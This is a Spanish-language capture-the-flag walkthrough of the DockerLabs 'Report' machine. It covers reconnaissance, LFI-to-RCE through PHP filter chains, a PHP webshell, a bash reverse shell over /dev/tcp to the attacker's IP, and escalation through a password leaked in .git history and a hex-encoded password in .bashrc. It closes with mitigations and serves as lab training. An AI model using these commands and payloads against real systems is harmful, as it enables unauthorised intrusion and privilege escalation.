Ir al contenido

Report

Este documento presenta la resolución completa de la máquina Report, desarrollada por Luisillo_o para DockerLabs y clasificada con dificultad media.

El objetivo es detallar cada fase de la explotación: reconocimiento, descubrimiento de vulnerabilidades, ejecución remota de código (RCE) y escalada de privilegios. La máquina combina fallos web, una conversión de LFI → RCE usando php filters, y un proceso de escalada basado en credenciales expuestas y variables sensibles.

Todo se realizó en el entorno aislado que ofrece DockerLabs.


AtributoValor
NombreReport
AutorLuisillo_o
DificultadMedio
Fecha20/10/2024
PlataformaDockerLabs

Descomprimimos y desplegamos la máquina:

Ventana de terminal
unzip Report.zip
sudo bash auto_deploy.sh Report.tar

El script muestra la IP del contenedor:

IP asignada


Ventana de terminal
mkdir -p Report/{content,exploits,nmap,gobuster,scripts}
cd Report

Ejecutamos un escaneo agresivo:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos detectados:

  • 22/tcp — SSH
  • 80/tcp — HTTP
  • 3306/tcp — MySQL

Puertos abiertos


El sitio redirige al dominio realgob.dl, por lo que lo añadimos al /etc/hosts.

Luego escaneamos directorios:

Ventana de terminal
gobuster dir \
-u http://realgob.dl/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-x php,html,txt,js \
-t 200

gobuster result

  • /index.php — Página inicial tipo “gobierno”. index

  • /login.php — Portal de acceso. login

  • /register.php — Registro de cuentas.

  • /logsAccesible públicamente. logs

  • /uploads — Directorio accesible. uploads

  • /important.txt — Aviso del creador mencionando múltiples vulnerabilidades.

Según la nota del autor, existen varias vulnerabilidades, las que yo encontre fueron: IDOR, información expuesta, user enumeration, XSS, brute force, file upload, etc. Sin embargo, nos enfocaremos únicamente en las vulnerabilidades críticas que permiten acceso directo al sistema.


Existen dos métodos viables:

  1. Log poisoning (debido al acceso a /logs)
  2. LFI → RCE usando php filters

Usaremos el segundo método.


La ruta:

http://realgob.dl/about.php?file=iniciativas.html

Carga archivos directamente. Probamos leer /etc/passwd:

content of passwd

Confirmado el LFI.


Utilizamos la herramienta php_filter_chain_generator para crear una webshell codificada en filtros.

Generamos la cadena:

Ventana de terminal
php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'

Copiamos el payload generado (entre php://filterphp://temp) y lo usamos en el parámetro file:

Ventana de terminal
curl 'http://realgob.dl/about.php?file=php://filter<RECORTADO>php://temp&id' --output -

Con esto ya tenemos ejecución de comandos.


Levantamos listener:

Ventana de terminal
nc -nlvp 443

Ejecutamos el payload en URL-encoding:

Ventana de terminal
curl 'http://realgob.dl/about.php?file=php://filter<RECORTADO>php://temp&cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F443%200%3E%261%27' --output -

Reverse shell obtenida:

revershell


Dentro del sitio encontramos un directorio .git con historial accesible.

Corregimos errores y listamos commits:

commits

Uno menciona “remote access management”, y al revisarlo vemos una contraseña expuesta:

content of commit

Cambiamos al usuario adm:

Ventana de terminal
su adm

adm id


En el .bashrc encontramos la variable:

MY_PASS=<hexadecimal>

bashrc

La decodificamos:

Ventana de terminal
echo MY_PASS | xxd -r -p

pass decode

Con ella tomamos control total:

Ventana de terminal
su root

root


  • LFI sin sanitización de rutas.
  • Acceso público al directorio /logs → posible log poisoning.
  • Historial .git expuesto → filtración de contraseñas.
  • Directorios sensibles (uploads, logs) sin restricciones.
  • Uso de credenciales en texto plano.
  • Variable sensible en .bashrc.
  • Falta de separación de privilegios adecuada entre usuarios del sistema.

  • Implementar validación estricta en parámetros de inclusión (file).
  • Proteger directorios internos mediante .htaccess o ajustes en el servidor.
  • Eliminar el directorio .git en entornos de producción.
  • Usar variables de entorno para credenciales.
  • Limitar permisos de usuarios en el sistema.
  • Evitar almacenar contraseñas en texto plano o en hex codificado.
  • Aplicar un flujo seguro de despliegue y control de versiones.